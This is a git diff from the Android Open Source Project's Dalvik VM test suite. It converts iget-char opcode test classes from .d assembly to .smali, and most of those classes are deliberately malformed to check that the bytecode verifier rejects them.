diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_17.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_17.d
deleted file mode 100644
index cde1b06..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_17.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_char_17.java
-.class public dot.junit.opcodes.iget_char.d.T_iget_char_17
-.super java/lang/Object
-
-.field public  i1 B
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       iget-char v0, v2, dot.junit.opcodes.iget_char.d.T_iget_char_17.i1 B
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_17.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_17.smali
new file mode 100644
index 0000000..b99125a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_17.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_char_17.java"
+.class  public Ldot/junit/opcodes/iget_char/d/T_iget_char_17;
+.super  Ljava/lang/Object;
+
+.field public  i1:B
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       iget-char v0, v2, Ldot/junit/opcodes/iget_char/d/T_iget_char_17;->i1:B
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_18.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_18.d
deleted file mode 100644
index f32f364..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_18.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_char_18.java
-.class public dot.junit.opcodes.iget_char.d.T_iget_char_18
-.super java/lang/Object
-
-.field public  i1 Z
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       iget-char v0, v2, dot.junit.opcodes.iget_char.d.T_iget_char_18.i1 Z
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_18.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_18.smali
new file mode 100644
index 0000000..ca933e4
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_18.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_char_18.java"
+.class  public Ldot/junit/opcodes/iget_char/d/T_iget_char_18;
+.super  Ljava/lang/Object;
+
+.field public  i1:Z
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       iget-char v0, v2, Ldot/junit/opcodes/iget_char/d/T_iget_char_18;->i1:Z
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_19.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_19.d
deleted file mode 100644
index 5efa5ba..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_19.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_char_19.java
-.class public dot.junit.opcodes.iget_char.d.T_iget_char_19
-.super java/lang/Object
-
-.field public  i1 D
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       iget-char v0, v2, dot.junit.opcodes.iget_char.d.T_iget_char_19.i1 D
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_19.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_19.smali
new file mode 100644
index 0000000..2a4c57d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_19.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_char_19.java"
+.class  public Ldot/junit/opcodes/iget_char/d/T_iget_char_19;
+.super  Ljava/lang/Object;
+
+.field public  i1:D
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       iget-char v0, v2, Ldot/junit/opcodes/iget_char/d/T_iget_char_19;->i1:D
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_20.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_20.d
deleted file mode 100644
index 895f42e..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_20.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_char_20.java
-.class public dot.junit.opcodes.iget_char.d.T_iget_char_20
-.super java/lang/Object
-
-.field public  i1 J
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       iget-char v0, v2, dot.junit.opcodes.iget_char.d.T_iget_char_20.i1 J
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_20.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_20.smali
new file mode 100644
index 0000000..314b255
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_20.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_char_20.java"
+.class  public Ldot/junit/opcodes/iget_char/d/T_iget_char_20;
+.super  Ljava/lang/Object;
+
+.field public  i1:J
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       iget-char v0, v2, Ldot/junit/opcodes/iget_char/d/T_iget_char_20;->i1:J
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_21.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_21.d
deleted file mode 100644
index 4902259..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_21.d
+++ /dev/null
@@ -1,37 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_char_21.java
-.class public dot.junit.opcodes.iget_char.d.T_iget_char_21
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()C
-.limit regs 3
-
-       new-instance v0, Ldot/junit/opcodes/iget_char/TestStubs;
-       invoke-direct {v0}, dot/junit/opcodes/iget_char/TestStubs/<init>()V
-
-       iget-char v1, v0, dot.junit.opcodes.iget_char.TestStubs.TestStubProtectedField C
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_21.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_21.smali
new file mode 100644
index 0000000..8edfdce
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_21.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_char_21.java"
+.class  public Ldot/junit/opcodes/iget_char/d/T_iget_char_21;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()C
+.registers 3
+
+       new-instance v0, Ldot/junit/opcodes/iget_char/TestStubs;
+       invoke-direct {v0}, Ldot/junit/opcodes/iget_char/TestStubs;-><init>()V
+
+       iget-char v1, v0, Ldot/junit/opcodes/iget_char/TestStubs;->TestStubProtectedField:C
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_3.d
deleted file mode 100644
index 7838f58..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_3.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_char_3.java
-.class public dot.junit.opcodes.iget_char.d.T_iget_char_3
-.super java/lang/Object
-
-.field public  i1 C
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       iget-char v3, v2, dot.junit.opcodes.iget_char.d.T_iget_char_3.i1 C
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_3.smali
new file mode 100644
index 0000000..d365f08
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_3.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_char_3.java"
+.class  public Ldot/junit/opcodes/iget_char/d/T_iget_char_3;
+.super  Ljava/lang/Object;
+
+.field public  i1:C
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       iget-char v3, v2, Ldot/junit/opcodes/iget_char/d/T_iget_char_3;->i1:C
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_30.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_30.d
deleted file mode 100644
index bdc90d2..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_30.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_char_30.java
-.class public dot.junit.opcodes.iget_char.d.T_iget_char_30
-.super java/lang/Object
-
-.field public  st_i1 C
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-    new-instance v0, dot/junit/opcodes/iget_char/d/T_iget_char_30
-    iget-char v1, v0, dot.junit.opcodes.iget_char.d.T_iget_char_30.st_i1 C
-.end method
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_30.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_30.smali
new file mode 100644
index 0000000..3367fa0
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_30.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_char_30.java"
+.class  public Ldot/junit/opcodes/iget_char/d/T_iget_char_30;
+.super  Ljava/lang/Object;
+
+.field public  st_i1:C
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+    new-instance v0, Ldot/junit/opcodes/iget_char/d/T_iget_char_30;
+    iget-char v1, v0, Ldot/junit/opcodes/iget_char/d/T_iget_char_30;->st_i1:C
+.end method
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_31.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_31.d
deleted file mode 100644
index 0f5c6d7..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_31.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2014 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_char_31.java
-.class public dot.junit.opcodes.iget_char.d.T_iget_char_31
-.super java/lang/Object
-
-.field public  st_i1 C
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()C
-.limit regs 3
-    iget v0, v0, dot.junit.opcodes.iget_char.d.T_iget_char_31.st_i1 C
-    return v0
-.end method
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_31.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_31.smali
new file mode 100644
index 0000000..3290796
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_31.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2014 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_char_31.java"
+.class  public Ldot/junit/opcodes/iget_char/d/T_iget_char_31;
+.super  Ljava/lang/Object;
+
+.field public  st_i1:C
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()C
+.registers 3
+    iget v0, v0, Ldot/junit/opcodes/iget_char/d/T_iget_char_31;->st_i1:C
+    return v0
+.end method
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_35.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_35.d
deleted file mode 100644
index 53ac999..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_35.d
+++ /dev/null
@@ -1,31 +0,0 @@
-; Copyright (C) 2016 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_char_35.java
-.class public dot.junit.opcodes.iget_char.d.T_iget_char_35
-.super java/lang/Object
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()C
-.limit regs 2
-       iget-char v0, v1, dot.junit.opcodes.iget_char.TestStubs.TestStubProtectedField C
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_35.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_35.smali
new file mode 100644
index 0000000..c5bb0f7
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_35.smali
@@ -0,0 +1,31 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_char_35.java"
+.class  public Ldot/junit/opcodes/iget_char/d/T_iget_char_35;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()C
+.registers 2
+       iget-char v0, v1, Ldot/junit/opcodes/iget_char/TestStubs;->TestStubProtectedField:C
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_4.d
deleted file mode 100644
index 428c14b..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_4.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_char_4.java
-.class public dot.junit.opcodes.iget_char.d.T_iget_char_4
-.super java/lang/Object
-
-.field public  i1 C
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()C
-.limit regs 3
-
-       iget-char v1, v2, dot.junit.opcodes.iget_char.d.T_iget_char_4.i1 C
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_4.smali
new file mode 100644
index 0000000..86ec697
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_4.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_char_4.java"
+.class  public Ldot/junit/opcodes/iget_char/d/T_iget_char_4;
+.super  Ljava/lang/Object;
+
+.field public  i1:C
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()C
+.registers 3
+
+       iget-char v1, v2, Ldot/junit/opcodes/iget_char/d/T_iget_char_4;->i1:C
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_5.d
deleted file mode 100644
index 534412f..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_5.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_char_5.java
-.class public dot.junit.opcodes.iget_char.d.T_iget_char_5
-.super java/lang/Object
-
-.field public static i1 C
-
-.method public <init>()V
-.limit regs 4
-
-       invoke-direct {v3}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()C
-.limit regs 3
-
-       iget-char v1, v2, dot.junit.opcodes.iget_char.d.T_iget_char_5.i1 C
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_5.smali
new file mode 100644
index 0000000..bcc037d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_5.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_char_5.java"
+.class  public Ldot/junit/opcodes/iget_char/d/T_iget_char_5;
+.super  Ljava/lang/Object;
+
+.field public static i1:C
+
+.method public constructor <init>()V
+.registers 4
+
+       invoke-direct {v3}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()C
+.registers 3
+
+       iget-char v1, v2, Ldot/junit/opcodes/iget_char/d/T_iget_char_5;->i1:C
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_6.d
deleted file mode 100644
index 0d208b3..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_6.d
+++ /dev/null
@@ -1,37 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_char_6.java
-.class public dot.junit.opcodes.iget_char.d.T_iget_char_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()C
-.limit regs 3
-
-       new-instance v0, Ldot/junit/opcodes/iget_char/TestStubs;
-       invoke-direct {v0}, dot/junit/opcodes/iget_char/TestStubs/<init>()V
-
-       iget-char v1, v0, dot.junit.opcodes.iget_char.TestStubs.TestStubField C
-       return v1
-.end method
-
-
